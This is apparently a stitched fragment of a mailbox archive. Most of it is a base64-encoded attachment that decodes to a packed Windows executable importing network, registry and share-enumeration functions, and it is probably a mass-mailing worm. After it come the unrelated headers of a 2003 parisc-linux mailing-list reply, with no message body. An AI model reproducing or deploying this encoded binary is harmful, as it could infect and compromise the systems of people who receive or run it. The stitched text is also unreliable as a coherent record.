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
AAAA1PAEAOgCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAJBAAAgAAAAMDzBAAoAQAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAEAaQAAAKgAAIAAAAAAAAAAAAAAAAAAAAEACQQAAMAAAADs9AQAIgAA
AAAAAAAAAAAA0MAEACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AACAAACAAAAAgIAAgAAAAIAAgACAgAAAwMDAAICAgAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD/
//8AAAAAAAAAAAAAAAAAAAAAAAAId3d3d3d3d3d3d3BwAAAAj//////////////3BwAAAI//////
////////9wcAAACP8AAAD/////////cHAAAAj//////////////3BwAAAI/wAAAP////////9wcA
AACP//////////////cHAAAAj//////////////3BwAAAI/wAAAAAAAAAAAP9wcAAACP////////
//////cHAAAAj/AAAAAAAAAAAA/3BwAAAI//////////////9wcAAACP8AAAAAAAAAAAD/cHAAAA
j//////////////3BwAAAI/wAAAAAAAAAAAP9wcAAACP//////////////cHAAAAj///////////
///3BwAAAI/wAAAP////////9wcAAACP//////////////cHAAAAj//////////////3BwAAAI//
////////////9wcAAACP8AAAD/////////cHAAAAj//////////////3BwAAAI/wAAAP////DwAP
9wcAAACP//////////////cHAAAAj//////////////3BwAAAI//////////////9wcAAACPD/D/
D/D/D/D/D/gHAAAAjw/w/w/w/w/w/w/4BwAAAAj4j4j4j4j4j4j4j4AAAAAAAAAAAAAAAAAAAAAA
AADwAAAf4AAAD8AAAAfAAAAHwAAAB8AAAAfAAAAHwAAAB8AAAAfAAAAHwAAAB8AAAAfAAAAHwAAA
B8AAAAfAAAAHwAAAB8AAAAfAAAAHwAAAB8AAAAfAAAAHwAAAB8AAAAfAAAAHwAAAB8AAAAfAAAAH
wAAAB8AAAAfgAAAP8kkkv7jDBAAoAAAAEAAAACAAAAABAAQAAAAAAMAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAgAAAgAAAAICAAIAAAACAAIAAgIAAAMDAwACAgIAAAAD/AAD/AAAA//8A/wAAAP8A
/wD//wAA////AAAAAAAAAAAAh3d3d3d3AACP//////cAAI//////9wAAj/AAAA/3AACP//////cA
AI/wAAAP9wAAj//////3AACP8AAAD/cAAI//////9wAAj/AA8A/3AACP//////cAAI//////9wAA
jw8PDw8PAAAA+Pj4+PAAAAAAAAAAAAAAgA8AAAAHAAAABwAAAAcAAAAHAAAABwAAAAcAAAAHAAAA
BwAAAAcAAAAHAAAABwAAAAcAAAAHAACADwAA1V8AAODEBAAAAAEAAgAgIBAAAQAEAOgCAAABABAQ
EAABAAQAKAEAAAIAAAAAAAAAAAAAAAAAAADU9QQAnPUEAAAAAAAAAAAAAAAAAOH1BACs9QQAAAAA
AAAAAAAAAAAA7vUEALT1BAAAAAAAAAAAAAAAAAD29QQAvPUEAAAAAAAAAAAAAAAAAAH2BADE9QQA
AAAAAAAAAAAAAAAADfYEAMz1BAAAAAAAAAAAAAAAAAAAAAAAAAAAABj2BAAm9gQANvYEAAAAAABE
9gQAAAAAAFL2BAAAAAAAYvYEAAAAAABu9gQAAAAAADQAAIAAAAAAS0VSTkVMMzIuRExMAEFEVkFQ
STMyLmRsbABNUFIuZGxsAFVTRVIzMi5kbGwAV0lOSU5FVC5kbGwAV1MyXzMyLmRsbAAAAExvYWRM
aWJyYXJ5QQAAR2V0UHJvY0FkZHJlc3MAAEV4aXRQcm9jZXNzAAAAUmVnT3BlbktleUEAAABXTmV0
T3BlbkVudW1BAAAAd3NwcmludGZBAAAASW50ZXJuZXRHZXRDb25uZWN0ZWRTdGF0ZQAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==
--#RXRUE28604#--


From - Thu Nov 08 21:28:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] palo II
Date: Thu, 12 Jun 2003 11:16:15 +0200
Lines: 48
Approved: news@gmane.org
Message-ID: <3ED71F6D000046F7@ocpmta7.freegates.net>
References: <Pine.BSF.4.53.0306111939570.50958@e0-0.zab2.int.zabbadoz.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622509 26639 80.91.229.3 (22 Nov 2014 02:15:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:09 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Bjoern A. Zeeb" <bzeeb-lists@lists.zabbadoz.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun 12 03:16:19 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout2.tiscali.be (cpout2.tiscali.be [62.235.13.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id 22F584842
	for <parisc-linux@lists.parisc-linux.org>; Thu, 12 Jun 2003 03:16:19 -0600 (MDT)
